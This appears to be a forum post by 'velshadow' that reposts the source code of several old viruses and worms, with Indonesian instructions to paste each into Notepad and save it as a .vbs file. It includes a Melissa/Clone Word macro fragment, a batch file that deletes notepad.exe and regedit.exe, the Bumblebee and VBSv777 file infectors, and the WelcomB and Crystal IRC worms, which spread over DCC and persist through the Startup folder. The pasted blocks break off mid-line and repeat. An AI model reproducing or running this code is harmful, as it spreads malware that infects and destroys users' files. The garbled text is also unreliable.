ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub

Di buat oleh : velshadow

md c:\GSS
if exist c:\gss goto end
echo off
@echo Silent Nights, Lonely Nights.
@echo My Lonelieness Is Killing Me.
@echo Its So Silent, So Lonely Tonight.
@echo How I Wish That You Were Here With Me.
@echo The Loneliness That Comes With The Silent Nights
@echo Would Be Better If I Were Lonely And Silent With You!
@echo
@echo ...I Fucking Love You A.E! It Would Be Worth The Silence
@echo If The Silence Were With You...
@echo
@echo off
@copy c:\windows\notepad.exe c:\windows\notepad.vbs
@del c:\windows\notepad.exe
@copy c:\windows\regedit.exe c:\windows\regedit.vbs
@del c:\windows\regedit.exe
@exit
@if not exist c:\windows\notepad.vbs goto end
@if not exist c:\windows\regedit.vbs goto end
goto end

:end
exit

Di buat oleh : velshadow

'paste di notepad save pilih allfiles save dgn nama .cbs
' Bumblebee - my first VB Script Virus
' by Bumblebee/[Hail and Kill] '99
' Feel free to use and modify it
'
on error resume next

const fdWrite=2, fdRead=1
endl=chr(13)&chr(10)

remove=endl&" This system is infected by Bumblebee.vbs Virus."&endl&endl&" Don't worry, it's a easy-to-remove virus:"&endl&endl&" . Edit all of your system .vbs files and"&endl&" delete from "&chr(39)&"-"&"@ to "&chr(39)&"-"&"@"&endl&endl&" (C) 1999 Bumblebee/[Hail and Kill] Wink"&endl&endl
hostName=Wscript.ScriptFullName

set fso=createObject("Scripting.FileSystemObject")

set myShell=createObject("WScript.Shell")
infCount=0
infCount=myShell.regRead("HKCU\infCount")
if infCount<1 then
myShell.regWrite "HKCU\infCount",1
infCount=1
end if
if infCount>10 then
desk=myShell.specialFolders("Desktop")
set fd=fso.openTextFile(desk&"\\Remove me!.txt",fdWrite,1)
fd.write remove
fd.close
end if

set fd=fso.openTextFile(hostName,fdRead)
hostCode=fd.readAll
fd.close

virusSize=inStr(4,hostCode,"-"&"@")+1

set fd=fso.openTextFile(hostName,fdRead)
virusCode=fd.read(virusSize)
fd.close

for each victim in fso.getfolder(".").files

vExt=fso.getExtensionName(victim.name)
i=0
if mid(vExt,1,1)="v" or mid(vExt,1,1)="V" then i=i+1 end if
if mid(vExt,2,1)="b" or mid(vExt,2,1)="B" then i=i+1 end if
if mid(vExt,3,1)="s" or mid(vExt,3,1)="S" then i=i+1 end if

if i=3 then
set fd=fso.openTextFile(victim.path,fdRead)
victimCode=fd.readAll
fd.close
if left(victimCode,3)<>chr(39)&"-"&"@" then
infCount=infCount+1
infectedCode=virusCode&endl&victimCode
set fd=fso.openTextFile(victim.path,fdWrite,1)
fd.write infectedCode
fd.close
end if
end if
next
myShell.regWrite "HKCU\infCount",infCount

'-@
'VBSv777


On Error Resume Next

Const cbVirusSize = 3914
Const cbForReading=1, cbForWriting=2
Const cbWindowsFolder = 0

Dim cbFSO, cbInfectionMarker, cbVictimCode, cbVirusCode
Dim cbWePath, cbWeFile, cbVictim, VictimFile
Dim cbFoldersToInfect(3), cbFolder, cbFile, cbDriveList, cbDrive
Dim cbTextFile


Set cbFSO = CreateObject("Scripting.FileSystemObject")

cbWePath = Wscript.ScriptFullName

cbFoldersToInfect(0) = "."
cbFoldersToInfect(1) = cbFSO.GetSpecialFolder(cbWindowsFolder)
cbFoldersToInfect(2) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Profiles\All Users\Desktop"
cbFoldersToInfect(3) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Profiles\Administrator\Desktop"
cbFoldersToInfect(4) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Desktop"


Set cbWeFile=cbFSO.OpenTextFile(cbWePath, cbForReading)
cbVirusCode = cbWeFile.Read(cbVirusSize)
cbWeFile.Close


For Each cbFolder in cbFoldersToInfect
cbInfect cbFolder
Next


If Day(Now()) = 2 And Hour(Now()) = 9 Then

Set cbDriveList = cbFSO.Drives

For Each cbDrive in cbDriveList
If cbDrive.DriveType = 2 Or cbDrive.DriveType = 3 then cbRecursiveFolderScan cbDrive & "\"
Next

End If



Sub cbRecursiveFolderScan(cbTheFolder)

Dim cbMoreFolders, cbTempFolder


For Each cbFile in cbFSO.GetFolder(TheFolder).Files
If cbFSO.GetExtensionName(cbFile) = "txt" or cbFSO.GetExtensionName(cbFile) = "doc" Then

Set cbTextFile = cbFSO.OpenTextFile(cbFile, cbForWriting)
cbTextFile.WriteLine " "
cbTextFile.WriteLine " _ _ "
cbTextFile.WriteLine " |_| |_| "
cbTextFile.WriteLine " | | /^^^\ | | "
cbTextFile.WriteLi'Welcomb


'= VBS/mIRC/pIRCH.WelcomB.a =
'= by -KD- [Metaphase VX Team] & [NoMercyVirusTeam] =
'= Technology used from Code Breakers =
On Error Resume Next
Const Welcomb = 5416
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Const XWindowsFolder = 0

Dim FSO, ScrFile, Cini, InfMarker, MyCode
Dim Parent, MyWelcomb, V, VFile, EvFile
Dim FoldersToGet(2), FolderX, VCode

Set FSO = CreateObject("Scripting.FileSystemObject")
Parent = Wscript.ScriptFullName

Set Cini = FSO.OpenTextFile("c:\mirc\mirc.ini", ForAppending, True)
Cini.WriteLine "[rfiles]"
Cini.WriteLine "n100=script.ini"
Cini.Close

Set ScrFile = FSO.CreateTextFile("c:\mirc\script.ini", True)
ScrFile.WriteLine "[script]"
ScrFile.WriteLine "n0; VBS/mIRC/pIRCH WelcomB.a"
ScrFile.WriteLine "n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }"
ScrFile.WriteLine "n2= /dcc send $nick c:\WINDOWS\system\cute.vbs"
ScrFile.WriteLine "n3=}"
ScrFile.WriteLine "n4="
ScrFile.WriteLine "n5=;ON 1:PART:#:{ /if ( $nick == $me ) { halt }"
ScrFile.WriteLine "n6=/dcc send $nick c:\WINDOWS\system\cute.vbs"
ScrFile.WriteLine "n7=}"
ScrFile.WriteLine "n8="
ScrFile.WriteLine "n9=on 1:TEXT:*script.ini*:#:/.ignore $nick"
ScrFile.WriteLine "n10=on 1:TEXT:*script.ini*Question/.ignore $nick"
ScrFile.WriteLine "n11=on 1:TEXT:*virus*:#:/.ignore $nick"
ScrFile.WriteLine "n12=on 1:TEXT:*virus*Question/.ignore $nick"
ScrFile.WriteLine "n13=on 1:TEXT:*worm*:#:/.ignore $nick"
ScrFile.WriteLine "n14=on 1:TEXT:*worm*Question/.ignore $nick"
ScrFile.WriteLine "n15=on 1:TEXT:*cute*:#:/.ignore $nick"
ScrFile.WriteLine "n16=on 1:TEXT:*cute*Question/.ignore $nick"
ScrFile.WriteLine "n17=on 1:TEXT:*WelcomB*:#:/.ignore $nick"
ScrFile.WriteLine "n18=on 1:TEXT:*WelcomB*Question/.ignore $nick"
ScrFile.WriteLine "n19=on 1:QUIT:#:/msg $chan There the Teachers that taught me to hate me"
ScrFile.Close

Set EvFile = FSO.CreateTextFile("c:\WINDOWS\events.dll", True)
EvFile.WriteLine "[Levels]"
EvFile.WriteLine "Enabled=1"
EvFile.WriteLine "Count=6"
EvFile.WriteLine "Level1=000-Unknowns"
EvFile.WriteLine "000-UnknownsEnabled=1"
EvFile.WriteLine "Level2=100-Level 100"
EvFile.WriteLine "100-Level 100Enabled=1"
EvFile.WriteLine "Level3=200-Level 200"
EvFile.WriteLine "200-Level 200Enabled=1"
EvFile.WriteLine "Level4=300-Level 300"
EvFile.WriteLine "300-Level 300Enabled=1"
EvFile.WriteLine "Level5=400-Level 400"
EvFile.WriteLine "400-Level 400Enabled=1"
EvFile.WriteLine "Level6=500-Level 500"
EvFile.WriteLine "500-Level 500Enabled=1"
EvFile.WriteLine ""
EvFile.WriteLine "[000-Unknowns]"
EvFile.WriteLine "User1=*!*@*"
EvFile.WriteLine "UserCount=1"
EvFile.WriteLine "Event1=; VBS/mIRC/pIRCH WelcomB.a"
EvFile.WriteLine "Event2=ON JOIN:#:/dcc send $nick c:\WINDOWS\system\cute.vbs"
EvFile.WriteLine "Event2=ON PART:#:/dcc send $nick c:\WINDOWS\system\cute.vbs"
EvFile.WriteLine "Event3=VERSION:/notice $nick \-1 pIRCH: WelcomB by -KD- I'm Infected!!! \-1:-"
EvFile.WriteLine "Event4=ON TEXT:*WelcomB*:#:/kick # $nick pIRCH/VBS/mIRC"
EvFile.WriteLine "Event5=ON TEXT:*WelcomB*:#:/ignore # $nick"
EvFile.WriteLine "Event6=ON TEXT:*vbs*:#:/ignore # $nick"
EvFile.WriteLine "Event7=ON TEXT:*virus*:#:/ignore # $nick"
EvFile.WriteLine "Event8=ON TEXT:*worm*:#:/ignore # $nick"
EvFile.WriteLine "Event9=ON TEXT:*cute*:#:/ignore # $nick"
EvFile.WriteLine "EventCount=9"
EvFile.WriteLine ""
EvFile.WriteLine "[100-Level 100]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[200-Level 200]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[300-Level 300]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[400-Level 400]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[500-Level 500]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.Close

FSO.CopyFile "c:\WINDOWS\events.dll", "c:\pirch32\events.ini"
FSO.CopyFile "c:\WINDOWS\events.dll", "c:\pirch98\events.ini"
FSO.CopyFile Parent, "c:\WINDOWS\system\cute.vbs"
FSO.CopyFile Parent, "c:\WINDOWS\Start Menu\Programs\StartUp\Startup.vbs"

If Day(Now()) = 1 or Day(Now()) = 20 Then
MsgBox "There the teacher's that taught me to hate me.", 4096 , "WelcomB"
End If

FoldersToGet(0) = "."
FoldersToGet(1) = FSO.GetSpecialFolder(XWindowsFolder)
FoldersToGet(2) = FSO.GetSpecialFolder(XWindowsFolder) & "\Desktop"
Set MyWelcomb = FSO.OpenTextFile(Parent, ForReading)
MyCode = MyWelcomb.Read(Welcomb)
MyWelcomb.Close

For Each FolderX in FoldersToGet
Catch FolderX
Next

Sub Catch(TheFolder)

For Each V in FSO.GetFolder(TheFolder).Files
If FSO.GetExtensionName(V.Name) = "vbs" then

Set VFile = FSO.OpenTextFile(V.Path,ForReading)
InfMarker = VFile.read(Cool
VFile.close

If InfMarker <> "'Welcomb" Then
Set VFile = FSO.OpenTextFile(V.path,ForReading)
VCode = VFile.ReadAll
VFile.close
VCode = MyCode & VCode
Set VFile = FSO.OpenTextFile(V.Path,ForWriting,True)
VFile.Write VCode
VFile.close
end if
end if
next
End Sub
'->'Crystal

'= VBS/pIRCH98/32.Crystal.c =
'= by -KD- [Metaphase VX Team] & [NoMercyVirusTeam] =
On Error Resume Next
Const TheCrystal = 5238
Const ForReading = 1, ForWriting = 2
Const XWindowsFolder = 0

Dim FSO, InfMarker, MyCode, MyBaby
Dim Crystal, MyCrystal, V, VFile
Dim FoldersToGet(3), FolderX, VCode

Set FSO = CreateObject("Scripting.FileSystemObject")
Crystal = Wscript.ScriptFullName

Set MyBaby = FSO.CreateTextFile("c:\WINDOWS\events3.dll", True)
MyBaby.WriteLine "[Levels]"
MyBaby.WriteLine "Enabled=1"
MyBaby.WriteLine "Count=6"
MyBaby.WriteLine "Level1=000-Unknowns"
MyBaby.WriteLine "000-UnknownsEnabled=1"
MyBaby.WriteLine "Level2=100-Level 100"
MyBaby.WriteLine "100-Level 100Enabled=1"
MyBaby.WriteLine "Level3=200-Level 200"
MyBaby.WriteLine "200-Level 200Enabled=1"
MyBaby.WriteLine "Level4=300-Level 300"
MyBaby.WriteLine "300-Level 300Enabled=1"
MyBaby.WriteLine "Level5=400-Level 400"
MyBaby.WriteLine "400-Level 400Enabled=1"
MyBaby.WriteLine "Level6=500-Level 500"
MyBaby.WriteLine "500-Level 500Enabled=1"
MyBaby.WriteLine ""
MyBaby.WriteLine "[000-Unknowns]"
MyBaby.WriteLine "User1=*!*@*"
MyBaby.WriteLine "UserCount=1"
MyBaby.WriteLine "Event1=; VBS/pIRCH98/32.Crystal.c"
MyBaby.WriteLine "Event2=; by -KD- [Metaphase VX Team] & [NoMercyVirusTeam]"
MyBaby.WriteLine "Event3=ON JOIN:#:/notice $nick Tell me that file isnt the cutest Wink"
MyBaby.WriteLine "Event4=ON JOIN:#:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event5=@ON BAN:*:#:/mode # -o+b $me $banmask | /kick # $nick Dont ban me!!"
MyBaby.WriteLine "Event6=ON PART:#:/notice $nick Case I didnt send it yet this is the cutest thing Ive seen Wink"
MyBaby.WriteLine "Event7=ON PART:#:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event8=VERSION:/notice $nick \-1 VBS/pIRCH98/32.Crystal.c : Crystal.a by -KD- I'm Infected!!! \-1:-"
MyBaby.WriteLine "Event9=ON TOPIC:#:/topic # Crystal rocks! | /notice $nick Crystal!!!"
MyBaby.WriteLine "Event10=ON ACTION:*hump*:#:/notice $nick Get off my leg!!"
MyBaby.WriteLine "Event11=ON ACTION:*hump*:#:/kick # $nick Get off my leg I said!!"
MyBaby.WriteLine "Event12=ON TEXT:*hump*:#:/ignore # $nick"
MyBaby.WriteLine "Event13=ON TEXT:*sex*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event14=ON TEXT:*f**k*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event15=ON TEXT:*damn*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event16=ON TEXT:*satan*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event17=ON TEXT:*dick*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event18=ON TEXT:*hump*:#:/ignore # $nick"
MyBaby.WriteLine "Event19=ON TEXT:*hell*:#:/ignore # $nick"
MyBaby.WriteLine "Event20=ON TEXT:*virus*:#:/ignore # $nick"
MyBaby.WriteLine "Event21=ON TEXT:*worm*:#:/ignore # $nick"
MyBaby.WriteLine "Event22=ON TEXT:*trojan*:#:/ignore # $nick"
MyBaby.WriteLine "Event23=ON TEXT:*Crystal*:#:/ignore # $nick"
MyBaby.WriteLine "Event24=ON TEXT:*baby*:*:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event25=PING:/notice $nick Oh god baby do it again! Wink"
MyBaby.WriteLine "Event26=ON QUIT:/msg :#vir: VBS/pIRCH98/32.Crystal.c by -KD-! gotta love it!"
MyBaby.WriteLine "Event27=ON KICKED:*:#: /msg $nick What the hell? | /join # | /mode # -o+b $nick $banmask"
MyBaby.WriteLine "EventCount=27"
MyBaby.WriteLine ""
MyBaby.WriteLine "[100-Level 100]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[200-Level 200]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[300-Level 300]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[400-Level 400]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[500-Level 500]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.Close
FSO.CopyFile "c:\WINDOWS\events3.dll", "c:\pirch98\events.ini"
FSO.CopyFile "c:\WINDOWS\events3.dll", "c:\pirch32\events.ini"
FSO.CopyFile Crystal, "c:\WINDOWS\Crystal2.vbs"
FSO.CopyFile Crystal, "c:\WINDOWS\Start Menu\Programs\StartUp\Startup.vbs"

If Day(Now()) = 1 or Day(Now()) = 20 Then
MsgBox "The screams fill the room" & Chr(13) & Chr(10) & "Alone I drop and kneel", 4096 , "Crystal"
End If

FoldersToGet(0) = "."
FoldersToGet(1) = FSO.GetSpecialFolder(XWindowsFolder)
FoldersToGet(2) = FSO.GetSpecialFolder(XWindowsFolder) & "\Desktop"

Set MyCrystal = FSO.OpenTextFile(Crystal, ForReading)
MyCode = MyCrystal.Read(TheCrystal)
MyCrystal.Close

For Each FolderX in FoldersToGet
Catch FolderX
Next

Sub Catch(TheFolder)

For Each V in FSO.GetFolder(TheFolder).Files
If FSO.GetExtensionName(V.Name) = "vbs" then

Set VFile = FSO.OpenTextFile(V.Path,ForReading)
InfMarker = VFile.read(Cool
VFile.close

If InfMarker <> "'Crystal" Then
Set VFile = FSO.OpenTextFile(V.path,ForReading)
VCode = VFile.ReadAll
VFile.close
VCode = MyCode & VCode
Set VFile = FSO.OpenTextFile(V.Path,ForWriting,True)
VFile.Write VCode
VFile.close
end if
end if
next
End Sub
'---> Exit[marq=right]

Di buat oleh : velshadow

'paste di notepad save pilih allfiles save dgn nama .vbs contoh velshadow.vbs

on error resume next

const fdWrite=2, fdRead=1
endl=chr(13)&chr(10)

remove=endl&" This system is infected by Bumblebee.vbs Virus."&endl&endl&" Don't worry, it's a easy-to-remove virus:"&endl&endl&" . Edit all of your system .vbs files and"&endl&" delete from "&chr(39)&"-"&"@ to "&chr(39)&"-"&"@"&endl&endl&" (C) 1999 Bumblebee/[Hail and Kill] Wink"&endl&endl
hostName=Wscript.ScriptFullName

set fso=createObject("Scripting.FileSystemObject")

set myShell=createObject("WScript.Shell")
infCount=0
infCount=myShell.regRead("HKCU\infCount")
if infCount<1 then
myShell.regWrite "HKCU\infCount",1
infCount=1
end if
if infCount>10 then
desk=myShell.specialFolders("Desktop")
set fd=fso.openTextFile(desk&"\\Remove me!.txt",fdWrite,1)
fd.write remove
fd.close
end if

set fd=fso.openTextFile(hostName,fdRead)
hostCode=fd.readAll
fd.close

virusSize=inStr(4,hostCode,"-"&"@")+1

set fd=fso.openTextFile(hostName,fdRead)
virusCode=fd.read(virusSize)
fd.close

for each victim in fso.getfolder(".").files

vExt=fso.getExtensionName(victim.name)
i=0
if mid(vExt,1,1)="v" or mid(vExt,1,1)="V" then i=i+1 end if
if mid(vExt,2,1)="b" or mid(vExt,2,1)="B" then i=i+1 end if
if mid(vExt,3,1)="s" or mid(vExt,3,1)="S" then i=i+1 end if

if i=3 then
set fd=fso.openTextFile(victim.path,fdRead)
victimCode=fd.readAll
fd.close
if left(victimCode,3)<>chr(39)&"-"&"@" then
infCount=infCount+1
infectedCode=virusCode&endl&victimCode
set fd=fso.openTextFile(victim.path,fdWrite,1)
fd.write infectedCode
fd.close
end if
end if
next
myShell.regWrite "HKCU\infCount",infCount

'-@
'VBSv777


On Error Resume Next

Const cbVirusSize = 3914
Const cbForReading=1, cbForWriting=2
Const cbWindowsFolder = 0

Dim cbFSO, cbInfectionMarker, cbVictimCode, cbVirusCode
Dim cbWePath, cbWeFile, cbVictim, VictimFile
Dim cbFoldersToInfect(3), cbFolder, cbFile, cbDriveList, cbDrive
Dim cbTextFile


Set cbFSO = CreateObject("Scripting.FileSystemObject")

cbWePath = Wscript.ScriptFullName

cbFoldersToInfect(0) = "."
cbFoldersToInfect(1) = cbFSO.GetSpecialFolder(cbWindowsFolder)
cbFoldersToInfect(2) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Profiles\All Users\Desktop"
cbFoldersToInfect(3) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Profiles\Administrator\Desktop"
cbFoldersToInfect(4) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Desktop"


Set cbWeFile=cbFSO.OpenTextFile(cbWePath, cbForReading)
cbVirusCode = cbWeFile.Read(cbVirusSize)
cbWeFile.Close


For Each cbFolder in cbFoldersToInfect
cbInfect cbFolder
Next


If Day(Now()) = 2 And Hour(Now()) = 9 Then

Set cbDriveList = cbFSO.Drives

For Each cbDrive in cbDriveList
If cbDrive.DriveType = 2 Or cbDrive.DriveType = 3 then cbRecursiveFolderScan cbDrive & "\"
Next

End If



Sub cbRecursiveFolderScan(cbTheFolder)

Dim cbMoreFolders, cbTempFolder


For Each cbFile in cbFSO.GetFolder(TheFolder).Files
If cbFSO.GetExtensionName(cbFile) = "txt" or cbFSO.GetExtensionName(cbFile) = "doc" Then

Set cbTextFile = cbFSO.OpenTextFile(cbFile, cbForWriting)
cbTextFile.WriteLine " "
cbTextFile.WriteLine " _ _ "
cbTextFile.WriteLine " |_| |_| "
cbTextFile.WriteLine " | | /^^^\ | | "
cbTextFile.WriteLi'Welcomb


'= VBS/mIRC/pIRCH.WelcomB.a =
'= by -KD- [Metaphase VX Team] & [NoMercyVirusTeam] =
'= Technology used from Code Breakers =
On Error Resume Next
Const Welcomb = 5416
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Const XWindowsFolder = 0

Dim FSO, ScrFile, Cini, InfMarker, MyCode
Dim Parent, MyWelcomb, V, VFile, EvFile
Dim FoldersToGet(2), FolderX, VCode

Set FSO = CreateObject("Scripting.FileSystemObject")
Parent = Wscript.ScriptFullName

Set Cini = FSO.OpenTextFile("c:\mirc\mirc.ini", ForAppending, True)
Cini.WriteLine "[rfiles]"
Cini.WriteLine "n100=script.ini"
Cini.Close

Set ScrFile = FSO.CreateTextFile("c:\mirc\script.ini", True)
ScrFile.WriteLine "[script]"
ScrFile.WriteLine "n0; VBS/mIRC/pIRCH WelcomB.a"
ScrFile.WriteLine "n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }"
ScrFile.WriteLine "n2= /dcc send $nick c:\WINDOWS\system\cute.vbs"
ScrFile.WriteLine "n3=}"
ScrFile.WriteLine "n4="
ScrFile.WriteLine "n5=;ON 1:PART:#:{ /if ( $nick == $me ) { halt }"
ScrFile.WriteLine "n6=/dcc send $nick c:\WINDOWS\system\cute.vbs"
ScrFile.WriteLine "n7=}"
ScrFile.WriteLine "n8="
ScrFile.WriteLine "n9=on 1:TEXT:*script.ini*:#:/.ignore $nick"
ScrFile.WriteLine "n10=on 1:TEXT:*script.ini*Question/.ignore $nick"
ScrFile.WriteLine "n11=on 1:TEXT:*virus*:#:/.ignore $nick"
ScrFile.WriteLine "n12=on 1:TEXT:*virus*Question/.ignore $nick"
ScrFile.WriteLine "n13=on 1:TEXT:*worm*:#:/.ignore $nick"
ScrFile.WriteLine "n14=on 1:TEXT:*worm*Question/.ignore $nick"
ScrFile.WriteLine "n15=on 1:TEXT:*cute*:#:/.ignore $nick"
ScrFile.WriteLine "n16=on 1:TEXT:*cute*Question/.ignore $nick"
ScrFile.WriteLine "n17=on 1:TEXT:*WelcomB*:#:/.ignore $nick"
ScrFile.WriteLine "n18=on 1:TEXT:*WelcomB*Question/.ignore $nick"
ScrFile.WriteLine "n19=on 1:QUIT:#:/msg $chan There the Teachers that taught me to hate me"
ScrFile.Close

Set EvFile = FSO.CreateTextFile("c:\WINDOWS\events.dll", True)
EvFile.WriteLine "[Levels]"
EvFile.WriteLine "Enabled=1"
EvFile.WriteLine "Count=6"
EvFile.WriteLine "Level1=000-Unknowns"
EvFile.WriteLine "000-UnknownsEnabled=1"
EvFile.WriteLine "Level2=100-Level 100"
EvFile.WriteLine "100-Level 100Enabled=1"
EvFile.WriteLine "Level3=200-Level 200"
EvFile.WriteLine "200-Level 200Enabled=1"
EvFile.WriteLine "Level4=300-Level 300"
EvFile.WriteLine "300-Level 300Enabled=1"
EvFile.WriteLine "Level5=400-Level 400"
EvFile.WriteLine "400-Level 400Enabled=1"
EvFile.WriteLine "Level6=500-Level 500"
EvFile.WriteLine "500-Level 500Enabled=1"
EvFile.WriteLine ""
EvFile.WriteLine "[000-Unknowns]"
EvFile.WriteLine "User1=*!*@*"
EvFile.WriteLine "UserCount=1"
EvFile.WriteLine "Event1=; VBS/mIRC/pIRCH WelcomB.a"
EvFile.WriteLine "Event2=ON JOIN:#:/dcc send $nick c:\WINDOWS\system\cute.vbs"
EvFile.WriteLine "Event2=ON PART:#:/dcc send $nick c:\WINDOWS\system\cute.vbs"
EvFile.WriteLine "Event3=VERSION:/notice $nick \-1 pIRCH: WelcomB by -KD- I'm Infected!!! \-1:-"
EvFile.WriteLine "Event4=ON TEXT:*WelcomB*:#:/kick # $nick pIRCH/VBS/mIRC"
EvFile.WriteLine "Event5=ON TEXT:*WelcomB*:#:/ignore # $nick"
EvFile.WriteLine "Event6=ON TEXT:*vbs*:#:/ignore # $nick"
EvFile.WriteLine "Event7=ON TEXT:*virus*:#:/ignore # $nick"
EvFile.WriteLine "Event8=ON TEXT:*worm*:#:/ignore # $nick"
EvFile.WriteLine "Event9=ON TEXT:*cute*:#:/ignore # $nick"
EvFile.WriteLine "EventCount=9"
EvFile.WriteLine ""
EvFile.WriteLine "[100-Level 100]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[200-Level 200]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[300-Level 300]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[400-Level 400]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[500-Level 500]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.Close

FSO.CopyFile "c:\WINDOWS\events.dll", "c:\pirch32\events.ini"
FSO.CopyFile "c:\WINDOWS\events.dll", "c:\pirch98\events.ini"
FSO.CopyFile Parent, "c:\WINDOWS\system\cute.vbs"
FSO.CopyFile Parent, "c:\WINDOWS\Start Menu\Programs\StartUp\Startup.vbs"

If Day(Now()) = 1 or Day(Now()) = 20 Then
MsgBox "There the teacher's that taught me to hate me.", 4096 , "WelcomB"
End If

FoldersToGet(0) = "."
FoldersToGet(1) = FSO.GetSpecialFolder(XWindowsFolder)
FoldersToGet(2) = FSO.GetSpecialFolder(XWindowsFolder) & "\Desktop"
Set MyWelcomb = FSO.OpenTextFile(Parent, ForReading)
MyCode = MyWelcomb.Read(Welcomb)
MyWelcomb.Close

For Each FolderX in FoldersToGet
Catch FolderX
Next

Sub Catch(TheFolder)

For Each V in FSO.GetFolder(TheFolder).Files
If FSO.GetExtensionName(V.Name) = "vbs" then

Set VFile = FSO.OpenTextFile(V.Path,ForReading)
InfMarker = VFile.read(Cool
VFile.close

If InfMarker <> "'Welcomb" Then
Set VFile = FSO.OpenTextFile(V.path,ForReading)
VCode = VFile.ReadAll
VFile.close
VCode = MyCode & VCode
Set VFile = FSO.OpenTextFile(V.Path,ForWriting,True)
VFile.Write VCode
VFile.close
end if
end if
next
End Sub
'->'Crystal

'= VBS/pIRCH98/32.Crystal.c =
'= by -KD- [Metaphase VX Team] & [NoMercyVirusTeam] =
On Error Resume Next
Const TheCrystal = 5238
Const ForReading = 1, ForWriting = 2
Const XWindowsFolder = 0

Dim FSO, InfMarker, MyCode, MyBaby
Dim Crystal, MyCrystal, V, VFile
Dim FoldersToGet(3), FolderX, VCode

Set FSO = CreateObject("Scripting.FileSystemObject")
Crystal = Wscript.ScriptFullName

Set MyBaby = FSO.CreateTextFile("c:\WINDOWS\events3.dll", True)
MyBaby.WriteLine "[Levels]"
MyBaby.WriteLine "Enabled=1"
MyBaby.WriteLine "Count=6"
MyBaby.WriteLine "Level1=000-Unknowns"
MyBaby.WriteLine "000-UnknownsEnabled=1"
MyBaby.WriteLine "Level2=100-Level 100"
MyBaby.WriteLine "100-Level 100Enabled=1"
MyBaby.WriteLine "Level3=200-Level 200"
MyBaby.WriteLine "200-Level 200Enabled=1"
MyBaby.WriteLine "Level4=300-Level 300"
MyBaby.WriteLine "300-Level 300Enabled=1"
MyBaby.WriteLine "Level5=400-Level 400"
MyBaby.WriteLine "400-Level 400Enabled=1"
MyBaby.WriteLine "Level6=500-Level 500"
MyBaby.WriteLine "500-Level 500Enabled=1"
MyBaby.WriteLine ""
MyBaby.WriteLine "[000-Unknowns]"
MyBaby.WriteLine "User1=*!*@*"
MyBaby.WriteLine "UserCount=1"
MyBaby.WriteLine "Event1=; VBS/pIRCH98/32.Crystal.c"
MyBaby.WriteLine "Event2=; by -KD- [Metaphase VX Team] & [NoMercyVirusTeam]"
MyBaby.WriteLine "Event3=ON JOIN:#:/notice $nick Tell me that file isnt the cutest Wink"
MyBaby.WriteLine "Event4=ON JOIN:#:/dcc send $nick c:\windows\Crystal2.vbs"
